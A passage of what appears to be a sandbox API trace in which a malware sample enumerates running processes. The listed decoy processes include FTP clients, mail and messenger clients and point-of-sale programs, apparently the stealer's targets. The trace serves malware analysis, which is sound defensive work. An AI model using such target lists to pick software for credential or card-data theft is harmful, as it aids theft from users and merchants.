lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0097.436] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.436] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0097.437] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0097.438] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0097.439] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0097.440] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0097.441] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x60, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0097.441] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.442] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0097.443] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x60, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0097.444] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0097.445] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0097.445] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0097.446] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="radio.exe")) returned 1 [0097.447] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="measure tell challenge.exe")) returned 1 [0097.448] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="detail_blood_recent.exe")) returned 1 [0097.449] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="career fund.exe")) returned 1 [0097.449] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="mrchoice.exe")) returned 1 [0097.450] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="howpartmove.exe")) returned 1 [0097.451] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="cellpresent.exe")) returned 1 [0097.452] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="change-born-daughter.exe")) returned 1 [0097.453] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="everything_half.exe")) returned 1 [0097.454] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1 [0097.455] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="everything receive.exe")) returned 1 [0097.455] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="violence share produce.exe")) returned 1 [0097.456] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="forward-usually-seven.exe")) returned 1 [0097.457] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="improve_hope_morning.exe")) returned 1 [0097.458] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="feel item itself.exe")) returned 1 [0097.459] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="necessary.exe")) returned 1 [0097.459] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="eight unit light.exe")) returned 1 [0097.460] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="us wide professional.exe")) returned 1 [0097.461] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="marriage.exe")) returned 1 [0097.462] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="you recently artist.exe")) returned 1 [0097.462] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0097.463] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0097.464] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0097.465] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0097.466] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0097.467] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0097.469] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0097.470] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0097.471] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0097.472] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0097.473] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0097.475] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0097.476] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0097.477] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0097.478] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0097.479] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x100c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0097.480] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1014, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0097.481] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1024, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0097.483] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x102c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0097.484] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1038, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0097.486] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1040, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0097.489] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0097.490] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0097.492] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1068, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0097.493] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0097.494] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1080, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0097.495] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0097.496] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0097.497] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0097.498] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0097.499] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0097.500] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0097.501] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0097.502] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0097.503] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0097.504] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0097.505] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0097.506] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1110, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0097.507] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0097.508] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0097.510] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0097.510] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0097.511] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0097.512] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="starfirmair.exe")) returned 1 [0097.513] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="plant_yet_amount.exe")) returned 1 [0097.514] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="performance building.exe")) returned 1 [0097.515] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0xb2c, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0097.516] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0097.517] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x12f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.518] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0097.519] 